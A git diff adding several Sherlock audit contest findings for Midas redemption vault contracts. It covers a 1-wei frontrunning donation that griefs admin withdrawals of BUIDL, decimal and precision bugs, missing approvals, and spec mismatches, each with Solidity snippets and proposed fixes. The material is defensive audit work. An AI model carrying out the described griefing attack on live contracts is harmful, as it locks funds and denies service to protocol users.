+The `BUIDL` smart contract ([proxy](https://etherscan.io/address/0x7712c34205737192402172409a8f7ccef8aa2aec), [implementation](https://etherscan.io/address/0x603bb6909be14f83282e03632280d91be7fb83b2#code)) contains a set of configurations that can be set by the token admin. One of this configurations forces a minimum amount of `BUIDL` tokens to be held by wallets (`minimumHoldingsPerInvestor`). On each transfer, if the amount transferred leaves the sender with a balance of `BUIDL` different from zero and smaller than `minimumHoldingsPerInvestor`, the transfer will revert:
+
+```solidity
+// ComplianceServiceRegulated.sol
+// This logic is executed before each BUIDL token transfer
+
+function completeTransferCheck(
+ address[] memory _services,
+ CompletePreTransferCheckArgs memory _args
+ ) internal view returns (uint256 code, string memory reason) {
+
+ ...
+
+ if (
+ !_args.isPlatformWalletTo &&
+ toInvestorBalance + _args.value < IDSComplianceConfigurationService(_services[COMPLIANCE_CONFIGURATION_SERVICE]).getMinimumHoldingsPerInvestor()
+ ) {
+ return (51, AMOUNT_OF_TOKENS_UNDER_MIN);
+ }
+
+ ...
+}
+```
+
+### The vulnerability
+
+Currently, the logic to allow Midas’ admin to withdraw any token from the smart contracts is implemented in the `withdrawToken` function from `ManageableVault` contract:
+
+```solidity
+// ManageableVault.sol
+function withdrawToken(
+ address token,
+ uint256 amount,
+ address withdrawTo
+ ) external onlyVaultAdmin {
+ IERC20(token).safeTransfer(withdrawTo, amount);
+
+ emit WithdrawToken(msg.sender, token, withdrawTo, amount);
+ }
+```
+
+From the requirements list: “*The most common scenario would be that we want to get back stablecoins that we were making available as token_out tokens for instant redemptions*”. This means that admins should be able to redeem any desired amount of `BUIDL` tokens (among other tokens) from the `RedemptionVaultWIthBUIDL` and `MBasisRedemptionVaultWithBUIDL` contracts.
+
+However, if the `minimumHoldingsPerInvestor` is configured in `BUIDL`, the logic to withdraw tokens can be griefed by a malicious user.
+
+Let’s say that Midas’ admin wants to retrieve all the `BUIDL` tokens from the `RedemptionVaultWIthBUIDL` in order to migrate assets to a new vault. The current `minimumHoldingsPerInvestor` is configured to `50e6` `BUIDL`, and the vault currently holds `100e6` tokens.
+
+In order to perform the withdrawal, the admin calls `withdrawToken`, specifying `100e6` (the total contract balance) as the amount to withdraw. However, a malicious user frontruns the call to `withdrawToken` and donates 1 wei of `BUIDL` to the `RedemptionVaultWIthBUIDL` contract. Because the attacker’s transaction gets executed first, the `BUIDL` balance from the vault prior to the execution of `withdrawToken` is `100e6` + 1. When triggering the `100e6` transfer, the balance gets reduced to 1 wei, which is an amount smaller than the one configured in the `minimumHoldingsPerInvestor`. Because of this, the whole `withdrawToken` transaction reverts, effectively preventing the admin from fully withdrawing their `BUIDL` tokens.
+
+## Impact
+
+By leveraging this attack, a malicious user can force admin’s `BUIDL` tokens to be effectively locked for more than a week in the contract. This is classified as Medium severity as per [Sherlock rules on DoS](https://docs.sherlock.xyz/audits/judging/judging#iii.-sherlocks-standards). Moreover, the requirements from the document shared by Midas are effectively broken, preventing the admin from effectively withdrawing the funds from the contract.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L194
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add an option to directly withdraw the full balance in the `withdrawToken` function via `address(this)`'s balance. Withdrawing the full balance effectively prevents the attack, as the newly sent amount by the attacker will be accounted for when withdrawing. An example implementation:
+
+```diff
+// ManageableVault.sol
+
+function withdrawToken(
+ address token,
+ uint256 amount,
+ address withdrawTo
+ ) external onlyVaultAdmin {
++ if(amount == type(uint256).max)
++ amount = IERC20(token).balanceOf(address(this));
+
+ IERC20(token).safeTransfer(withdrawTo, amount);
+
+ emit WithdrawToken(msg.sender, token, withdrawTo, amount);
+ }
+```
\ No newline at end of file
diff --git a/002/163.md b/002/163.md
new file mode 100644
index 0000000..ae8a405
--- /dev/null
+++ b/002/163.md
@@ -0,0 +1,38 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# `RedemptionVaultWithBUIDL#redeemInstant()` doesn't implement BUIDL balance threshold check
+
+## Summary
+[`RedemptionVaultWithBUIDL#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) doesn't implement BUIDL balance threshold check
+## Vulnerability Detail
+Midas specification stated that [the remaining BUIDL balance in `RedemptionVaultWithBUIDL` should be redeemed entirely when it is less than the balance threshold](https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17):
+>Redeem the full BUIDL balance in the smartcontract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum).
+
+However, it was not implemented yet:
+```solidity
+ function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+ }
+```
+## Impact
+The function `redeemInstant()` didn't meet the specification
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L176
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement the balance threshold check and redeem all BUIDL if necessory
\ No newline at end of file
diff --git a/002/164.md b/002/164.md
new file mode 100644
index 0000000..bacd362
--- /dev/null
+++ b/002/164.md
@@ -0,0 +1,79 @@
+Funny Vanilla Lark
+
+Medium
+
+# Code doesn't implement what the spec from readme says regarding BUIDL redemption threshold
+
+## Summary
+Issue : Redeeming amount less than the threshold will revert, so if the amount < threshold, then `buidlToRedeem ` should be = threshold.
+Solution : Redeem the whole amount upto threshold, if the the redemption amount (`buidlToRedeem`) is less than the threshold
+
+## Vulnerability Detail
+
+
+https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17
+
+The spec notion file quotes `Redeem the full BUIDL balance in the smart contract if the BUIDL balance will be less than 250k post transaction (as 250k is the minimum). Make this 250k threshold a parameter that can be adjusted by the admin`
+
+But this threshold is never implemented in the `RedemptionVaultWIthBUIDL` contract. And since, `Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity` states that any discrepancies b/w readme vs contarcts code implementation should a valid medium even if it is a low impactful bug.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L175
+
+```solidity
+RedemptionVaultWithBUIDL.sol
+
+170: function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+171: internal
+172: {
+173: uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+174: address(this)
+175: );
+176: if (contractBalanceTokenOut >= amountTokenOut) return;
+177:
+178: uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+179:
+180: buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+181: buidlRedemption.redeem(buidlToRedeem);
+182: }
+
+```
+
+## Impact
+Redeeming amount less than the threshold will revert, so if the amount < threshold, then buidlToRedeem should be = threshold. This implementation is done in `RedemptionVaultWithBUIDL`
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L175
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add it to RedemptionVaultWithBUIDL.sol
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L164-L175
+
+```diff
++ uint256 public redemptionThreshold;
+
++ function setRedemptionThreshold(uint256 newValue) external onlyVaultAdmin {
++ redemptionThreshold = newValue;
++ }
+
+
+ function _checkAndRedeemBUIDL(address tokenOut, uint256 amountTokenOut)
+ internal
+ {
+ uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
++ if(buidlToRedeem < redemptionThreshold) buidlToRedeem = redemptionThreshold;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+ }
+```
\ No newline at end of file
diff --git a/003/030.md b/003/030.md
new file mode 100644
index 0000000..7fb29c5
--- /dev/null
+++ b/003/030.md
@@ -0,0 +1,97 @@
+Fantastic Punch Scallop
+
+High
+
+# RedemptionVaultWithBUIDL precision loss in returning USDC back to redeemer.
+
+## Summary
+`RedemptionVaultWithBUIDL.sol` is a contract that is responsible for the redemption of the mToken. In regular RedemptionVaultWithBUIDL it can be achieved in 3 ways the same as [RedemptionVault](https://docs.google.com/document/d/1z3H3cAS1qBAAHqMAyD2YGmSyGzcle9-awrPT9W2NRzY/edit#heading=h.f9gp0uhfrl40), but with one difference in the instant redemption function:
+Instant redemption - same flow as for RedemptionVault, but the user can’t input token_out, because only USDC allowed for BUIDL redemption,
+## Vulnerability Detail
+The implementation performs division before multiplication causing precision loss
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ address user = msg.sender;
+
+ tokenOut = buidlLiquiditySource.token();
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(user, tokenOut, amountMTokenIn, true, false);
+
+ _requireAndUpdateLimit(amountMTokenIn);
+
+ uint256 tokenDecimals = _tokenDecimals(tokenOut);
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+ address tokenOutCopy = tokenOut;
+ uint256 minReceiveAmountCopy = minReceiveAmount;
+
+ (uint256 amountMTokenInUsd, uint256 mTokenRate) = _convertMTokenToUsd(
+ amountMTokenInCopy
+ );
+ (uint256 amountTokenOut, uint256 tokenOutRate) = _convertUsdToToken(
+ amountMTokenInUsd,
+ tokenOutCopy
+ );
+
+ _requireAndUpdateAllowance(tokenOutCopy, amountTokenOut);
+
+ mToken.burn(user, amountMTokenWithoutFee);
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+ uint256 amountTokenOutWithoutFee = (amountMTokenWithoutFee * // @audit-issue division before multiplication precision loss
+ mTokenRate) / tokenOutRate;
+
+ require(
+ amountTokenOutWithoutFee >= minReceiveAmountCopy,
+ "RVB: minReceiveAmount > actual"
+ );
+
+ uint256 amountTokenOutWithoutFeeFrom18 = amountTokenOutWithoutFee // @audit-issue down scale to 6 dp, precision loss to 6dp
+ .convertFromBase18(tokenDecimals);
+
+ _checkAndRedeemBUIDL(tokenOutCopy, amountTokenOutWithoutFeeFrom18);
+
+ _tokenTransferToUser(
+ tokenOutCopy,
+ user,
+ amountTokenOutWithoutFeeFrom18.convertToBase18(tokenDecimals), // @audit-issue convert back to 18 dp
+ tokenDecimals
+ );
+
+ -- SNIP --
+ }
+```
+Similar issue is found in `RedemptionVault.sol`. The problem here is precision loss of division before multiplication because after the calculations of `(amountMTokenWithoutFee * mTokenRate) / tokenOutRate`, the `_truncate` then performs divisions before multiplications to tokenDecimals (if USDC or tokens with less than 18 decimals). This returns `amountTokenOutWithoutFee` in 18 decimals with precision loss.
+```solidity
+ uint256 amountTokenOutWithoutFee = _truncate(
+ (amountMTokenWithoutFee * mTokenRate) / tokenOutRate,
+ tokenDecimals
+ );
+```
+
+## Impact
+Users redeems lesser USDC back due to division before multiplication.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L159-L162
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Ensure that multiplication is performed before division.
\ No newline at end of file
diff --git a/003/032.md b/003/032.md
new file mode 100644
index 0000000..618d493
--- /dev/null
+++ b/003/032.md
@@ -0,0 +1,46 @@
+Fresh Gunmetal Boa
+
+High
+
+# Decimals inconsistency in `_checkAndRedeemBUIDL` may cause DOS
+
+## Summary
+In the `_checkAndRedeemBUIDL` the decimals of the out token are wrongly assumed to be equal to the decimals of the BUIDL token.
+## Vulnerability Detail
+In `RedemptionVaultWithBUIDL.sol` prior to calling the `_checkAndRedeemBUIDL` in the `redeemInstant` function the tokenOut amount is converted to its original decimals:
+```solidity
+uint256 amountTokenOutWithoutFeeFrom18 = amountTokenOutWithoutFee
+ .convertFromBase18(tokenDecimals);
+
+ _checkAndRedeemBUIDL(tokenOutCopy, amountTokenOutWithoutFeeFrom18);
+```
+In the `_checkAndRedeemBUIDL` the BUIDL to redeem is computed in the tokenOut decimal format:
+```solidity
+ >>>uint256 contractBalanceTokenOut = IERC20(tokenOut).balanceOf(
+ address(this)
+ );
+ if (contractBalanceTokenOut >= amountTokenOut) return;
+
+ >>> uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+```
+As a result for example if the tokenOut is USDC, very small amount of BUIDL token will be redeemed because USDC has 6 decimals and BUIDL has 18. The execution of the following code which is meant to redeem enough BUIDL so that the USDC will be enough to satisfy the user's redeem request will not be enough, causing the whole redeemInstant to revert:
+```solidity
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+```
+## Impact
+DOS in the redeemInstant function - High
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L172
+## Tool used
+
+Manual Review
+
+## Recommendation
+Rewrite the code as follows:
+```solidity
+ uint256 buidlToRedeem = (amountTokenOut - contractBalanceTokenOut).convertToBase18(tokenDecimals);
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+ buidlRedemption.redeem(buidlToRedeem);
+```
\ No newline at end of file
diff --git a/003/033.md b/003/033.md
new file mode 100644
index 0000000..2749b1e
--- /dev/null
+++ b/003/033.md
@@ -0,0 +1,90 @@
+Fantastic Punch Scallop
+
+High
+
+# MBasisRedemptionVaultWithSwapper redeem is always denied due to missing approval function
+
+## Summary
+The `MBasisRedemptionVaultWithSwapper` contract manages the redemption of mBASIS tokens. Similar to the regular `RedemptionVault`, it offers three redemption methods, but with a key difference in the instant redemption function. In instant redemption, the contract takes mBASIS tokens from the user, validates the conditions, and charges fees. If the contract lacks sufficient `token_out` for complete redemption, it swaps the mBASIS for mTBILL using a specified Liquidity Provider based on exchange rates. The redemption is then processed through the mTBILL redemption vault, and the resulting `token_out` tokens are transferred to the user. The BUIDL variant of the redemption vault can also serve as the mTBILL redemption vault.
+## Vulnerability Detail
+The `MBasisRedemptionVaultWithSwapper` contract, performs swaps if tokens using safeTransferFrom, which requires approval. The contract that inherits the abstract `ManageableVault` does not have any approve functions used to approve `MBasisRedemptionVaultWithSwapper` contract. This means that the mTbill token required has not been approved to be transfered from mTbill redemption vault to `MBasisRedemptionVaultWithSwapper`, hence safeTransferFrom will not work.
+
+```solidity
+ function _swapMBasisToMToken(uint256 mBasisAmount)
+ internal
+ returns (uint256 mTokenAmount)
+ {
+ _tokenTransferFromUser(
+ address(mToken),
+ liquidityProvider,
+ mBasisAmount,
+ 18
+ );
+
+ uint256 mTbillRate = mTbillRedemptionVault
+ .mTokenDataFeed()
+ .getDataInBase18();
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+ mTokenAmount = (mBasisAmount * mTokenRate) / mTbillRate;
+
+ _tokenTransferFromTo(
+ address(mTbillRedemptionVault.mToken()),
+ liquidityProvider,
+ address(this),
+ mTokenAmount,
+ 18
+ );
+ }
+```
+```solidity
+// ManageableVault.sol
+ function _tokenTransferFromTo(
+ address token,
+ address from,
+ address to,
+ uint256 amount,
+ uint256 tokenDecimals
+ ) internal {
+ uint256 transferAmount = amount.convertFromBase18(tokenDecimals);
+ require(
+ amount == transferAmount.convertToBase18(tokenDecimals),
+ "MV: invalid rounding"
+ );
+ IERC20(token).safeTransferFrom(from, to, transferAmount);
+ }
+```
+
+Furthermore, the approval is done after calling `_swapMBasisToMToken`, which will not work. You should approve than call ` IERC20(token).safeTransferFrom` will work.
+```solidity
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override(IRedemptionVault, RedemptionVault)
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ -- SNIP --
+ uint256 mTbillAmount = _swapMBasisToMToken(amountMTokenWithoutFee);
+
+ IERC20(mTbillRedemptionVault.mToken()).safeIncreaseAllowance(
+ address(mTbillRedemptionVault),
+ mTbillAmount
+ );
+
+```
+## Impact
+mBasis token redemption fails due to denial of service.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L217C9-L217C29
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L433
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add an ERC20 approval function to approve mBasis contract to transfer tokens.
\ No newline at end of file
diff --git a/003/041.md b/003/041.md
new file mode 100644
index 0000000..dc0fbd2
--- /dev/null
+++ b/003/041.md
@@ -0,0 +1,148 @@
+Colossal Plastic Shark
+
+Medium
+
+# The protocol will cause user fund losses due to misalignment between expected and actual token redemption processes
+
+### Summary
+
+The misalignment between the expected token redemption process and its actual implementation may cause temporary loss of funds for users. According to the [`High-level summary: main flows short description - mBASIS redemption vault with swapper`](https://docs.google.com/document/d/1z3H3cAS1qBAAHqMAyD2YGmSyGzcle9-awrPT9W2NRzY/edit?usp=sharing) documentation:
+> MBasisRedemptionVaultWithSwapper is a contract that is responsible for the redemption of the
+mBasis. In regular MBasisRedemptionVaultWithSwapper it can be achieved in 3 ways the same
+as RedemptionVault, but with one difference in the instant redemption function:
+> - Instant redemption - MBasisRedemptionVaultWithSwapper takes mBasis from the user,
+validates conditions, and takes fees. If the contract doesn’t have enough token_out for
+complete redemption mBASIS will be swapped to mTBILL according to exchange rates
+through the specified Liquidity Provider, then redemption will be processed on mTBILL
+redemption vault and token_out tokens from mTBILL redemption transfer to the user.
+**Also, BUIDL variant of the redemption vault can be used as an mTBILL redemption vault**
+
+The **mBASIS redemption vault with swapper** should **allow the `BUIDL` variant to perform similarly to the mTBILL redemption vault**. However, the current code does not support all cases when using the BUIDL variant as the mTBILL redemption vault, leading to potential discrepancies and user losses.
+
+Furthermore, the [`README: Q: Additional audit information`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/README.md#q-additional-audit-information) specifies that any discrepancies between the specification and the code are reportable issues.
+
+
+### Root Cause
+
+In [`MBasisRedemptionVaultWithSwapper.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/MBasisRedemptionVaultWithSwapper.sol), when using [`RedemptionVaultWithBUIDL.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) as an `mTBILL` redemption vault, the protocol is expected to handle different `tokenOut` options like `USDC` or `WBTC`.
+
+[MBasisRedemptionVaultWithSwapper.redeemInstant()#L134-L164](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L134-L164)
+```solidity
+File: MBasisRedemptionVaultWithSwapper.sol
+088: function redeemInstant(
+089: address tokenOut,
+090: uint256 amountMTokenIn,
+091: uint256 minReceiveAmount
+092: )
+---
+134: uint256 contractTokenOutBalance = IERC20(tokenOutCopy).balanceOf(
+135: address(this)
+136: );
+137:
+138: if (
+139: contractTokenOutBalance >=
+140: amountTokenOutWithoutFee.convertFromBase18(tokenDecimals)
+141: ) {
+---
+146: } else {
+147: uint256 mTbillAmount = _swapMBasisToMToken(amountMTokenWithoutFee); //@audit swap mBASIS for mTBILL provided from LP
+148:
+149: IERC20(mTbillRedemptionVault.mToken()).safeIncreaseAllowance(
+150: address(mTbillRedemptionVault),
+151: mTbillAmount
+152: );
+153:
+154: mTbillRedemptionVault.redeemInstant(
+155:@> tokenOutCopy, //@audit tokenOut input from user
+156: mTbillAmount,
+157: minReceiveAmountCopy
+158: );
+159:
+160: uint256 contractTokenOutBalanceAfterRedeem = IERC20(tokenOutCopy)
+161: .balanceOf(address(this));
+162:@> amountTokenOutWithoutFee = (contractTokenOutBalanceAfterRedeem -
+163: contractTokenOutBalance).convertToBase18(tokenDecimals);
+164: }
+165:
+166: _tokenTransferToUser(
+167:@> tokenOutCopy,
+168: user,
+169:@> amountTokenOutWithoutFee,
+170: tokenDecimals
+171: );
+
+```
+
+However, [`RedemptionVaultWithBUIDL.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) only processes redemptions with `USDC` as the `tokenOut`. **If a user requests redemption with any `tokenOut` other than USDC (e.g., WBTC), the USDC transferred from the `RedemptionVaultWithBUIDL` gets stuck in the `MBasisRedemptionVaultWithSwapper` contract, and the user does not receive their intended redemption**.
+
+[RedemptionVaultWithBUIDL.redeemInstant()#L86-L156](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156)
+
+```solidity
+File: RedemptionVaultWithBUIDL.sol
+086: function redeemInstant(
+087: address tokenOut,
+088: uint256 amountMTokenIn,
+089: uint256 minReceiveAmount
+090: )
+---
+098: address user = msg.sender;
+099:
+100:@> tokenOut = buidlLiquiditySource.token(); //@audit USDC
+---
+111: uint256 amountMTokenInCopy = amountMTokenIn;
+112: @> address tokenOutCopy = tokenOut;
+113: uint256 minReceiveAmountCopy = minReceiveAmount;
+---
+142: _tokenTransferToUser(
+143:@> tokenOutCopy,
+144: user,
+145: amountTokenOutWithoutFeeFrom18.convertToBase18(tokenDecimals),
+146: tokenDecimals
+147: );
+---
+156: }
+```
+
+Although the admin has control over the Liquidity Provider to transfer the `mBASIS` back to the user and withdraw the stuck `USDC` for that user, this misalignment between the code and the documentation leads to potential losses for users, as this contract is expected to support all possible cases.
+
+
+### Internal pre-conditions
+
+There are no internal preconditions for this issue, as users can encounter the vulnerability when interacting with the mBASIS redemption vault with the swapper that integrates with the mTBILL redemption vault with BUIDL.
+
+
+### External pre-conditions
+
+User needs to redeem using a whitelisted payment token other than `USDC` for this vault.
+
+
+### Impact
+
+The protocol cause a temporary loss of funds for users due to discrepancies between the expected behavior described in the documentation and the actual implementation.
+
+
+### Mitigation
+
+Typically, all redemption vaults are designed to support both instant and request-based redemptions and handle whitelisted tokens consistently. Therefore, restricting this vault type to accept only USDC as the whitelisted payment token will reduce the standard vault design's flexibility and prevent users from redeeming other tokens.
+
+As `BUIDL` is only intended to redeem 1:1 with USDC, as stated in the [`High-level summary: main flows short description - Redemption vault with BUIDL`](https://docs.google.com/document/d/1z3H3cAS1qBAAHqMAyD2YGmSyGzcle9-awrPT9W2NRzY/edit?usp=sharing), updating the [`RedemptionVaultWithBUIDL.redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) function to validate and handle the `tokenOut` input correctly rather than ignoring it would be necessary.
+
+```diff
+File: RedemptionVaultWithBUIDL.sol
+086: function redeemInstant(
+087: address tokenOut,
+088: uint256 amountMTokenIn,
+089: uint256 minReceiveAmount
+090: )
+---
+098: address user = msg.sender;
+099:
+-100: tokenOut = buidlLiquiditySource.token(); //@audit USDC
++100: require(
++101: tokenOut == buidlLiquiditySource.token(),
++102: "RV: token not support by the BUIDL"
++103: );
+
+---
+156: }
+```
diff --git a/003/045.md b/003/045.md
new file mode 100644
index 0000000..7d1d826
--- /dev/null
+++ b/003/045.md
@@ -0,0 +1,85 @@
+Dancing Olive Rhino
+
+Medium
+
+# Incorrect Token Amount Calculation in Swap Scenario Will Cause Financial Loss for Users
+
+### Summary
+
+A logical flaw in the [`redeemInstant` function](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88-L180) will cause a financial loss for users as the contract will incorrectly recalculate the token amount during a swap scenario, leading to users receiving fewer tokens than expected.
+
+### Root Cause
+
+In [`contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol:redeemInstant`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88-L180) , the recalculation of `amountTokenOutWithoutFee` based on the difference in token balances before and after the swap ignores the original calculation, leading to potential discrepancies.
+
+
+### Internal pre-conditions
+
+1. The contract's balance of `tokenOut` is less than the initially calculated `amountTokenOutWithoutFee`.
+2. The user calls the `redeemInstant` function with a valid amount of mToken.
+
+
+### External pre-conditions
+
+1. The exchange rates between mToken, mBASIS, and mTBILL are such that the swap is necessary.
+
+
+### Attack Path
+
+1. User calls `redeemInstant` with a certain amount of mToken.
+2. The contract calculates `amountTokenOutWithoutFee` based on the input amount and exchange rates.
+3. The contract checks its balance of `tokenOut` and finds it insufficient.
+4. The contract swaps mBASIS to mTBILL and redeems mTBILL on the mTBILL vault.
+5. The contract recalculates `amountTokenOutWithoutFee` based on the difference in token balances before and after the swap.
+6. The recalculated amount is less than the initially calculated amount, leading to the user receiving fewer tokens than expected.
+
+### Impact
+
+The users suffer an approximate loss due to receiving fewer tokens than expected. The slippage protection mechanism becomes ineffective in the swap scenario.
+
+
+### PoC
+
+1. Alice wants to redeem 100 mToken.
+2. The contract calculates that Alice should receive 90 `tokenOut`.
+3. The contract's balance of `tokenOut` is only 50.
+4. The contract swaps mBASIS to mTBILL and redeems mTBILL.
+5. After the swap, the contract's balance of `tokenOut` increases by 80.
+6. The contract recalculates `amountTokenOutWithoutFee` to be 80, which is less than the initially calculated 90.
+7. Alice receives 80 `tokenOut` instead of the expected 90.
+
+
+### Mitigation
+
+To fix this issue, the contract should use the originally calculated `amountTokenOutWithoutFee` consistently and ensure that the amount of tokens received from the mTBILL vault meets or exceeds this amount. Here is the suggested fix:
+
+```diff
+} else {
+ uint256 mTbillAmount = _swapMBasisToMToken(amountMTokenWithoutFee);
+
+ IERC20(mTbillRedemptionVault.mToken()).safeIncreaseAllowance(
+ address(mTbillRedemptionVault),
+ mTbillAmount
+ );
+
+ mTbillRedemptionVault.redeemInstant(
+ tokenOutCopy,
+ mTbillAmount,
+ minReceiveAmountCopy
+ );
+
+ uint256 contractTokenOutBalanceAfterRedeem = IERC20(tokenOutCopy)
+ .balanceOf(address(this));
+- amountTokenOutWithoutFee = (contractTokenOutBalanceAfterRedeem -
+- contractTokenOutBalance).convertToBase18(tokenDecimals);
++ uint256 actualAmountTokenOut = (contractTokenOutBalanceAfterRedeem -
++ contractTokenOutBalance).convertToBase18(tokenDecimals);
+
++ require(
++ actualAmountTokenOut >= amountTokenOutWithoutFee,
++ "RVS: actual amount < expected"
++ );
+
++ amountTokenOutWithoutFee = actualAmountTokenOut;
+}
+```
diff --git a/003/046.md b/003/046.md
new file mode 100644
index 0000000..c9fd866
--- /dev/null
+++ b/003/046.md
@@ -0,0 +1,94 @@
+Dancing Olive Rhino
+
+Medium
+
+# Inconsistent Token Usage in Redemption Process will cause Financial Loss for Users
+
+### Summary
+
+Inconsistent token usage in the `RedemptionVaultWIthBUIDL` contract will cause financial loss for users as the contract will calculate redemption amounts based on one token but redeem a different token.
+
+
+### Root Cause
+
+In [`RedemptionVaultWIthBUIDL.sol: redeemInstant`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L86-L156) the `tokenOut` is set to the token from `buidlLiquiditySource`, but the actual redemption uses the `buidl` token.
+
+
+### Internal pre-conditions
+
+1. User needs to call `redeemInstant` to set `tokenOut` to the token from `buidlLiquiditySource`.
+2. The contract needs to have insufficient balance of `tokenOut`.
+
+
+### External pre-conditions
+
+1. The value of `buidl` token needs to be different from the value of `tokenOut`.
+
+
+### Attack Path
+
+1. User calls `redeemInstant` expecting to receive `tokenOut` (e.g., USDC).
+2. The contract calculates the redemption amounts based on `tokenOut`.
+3. The contract lacks sufficient `tokenOut` balance.
+4. The contract redeems `buidl` tokens instead.
+5. User receives `buidl` tokens, which may have a different value than the expected `tokenOut`.
+
+
+### Impact
+
+The users suffer an approximate loss due to receiving a different token than expected, potentially leading to financial losses if the value of `buidl` differs significantly from `tokenOut`.
+
+
+### PoC
+
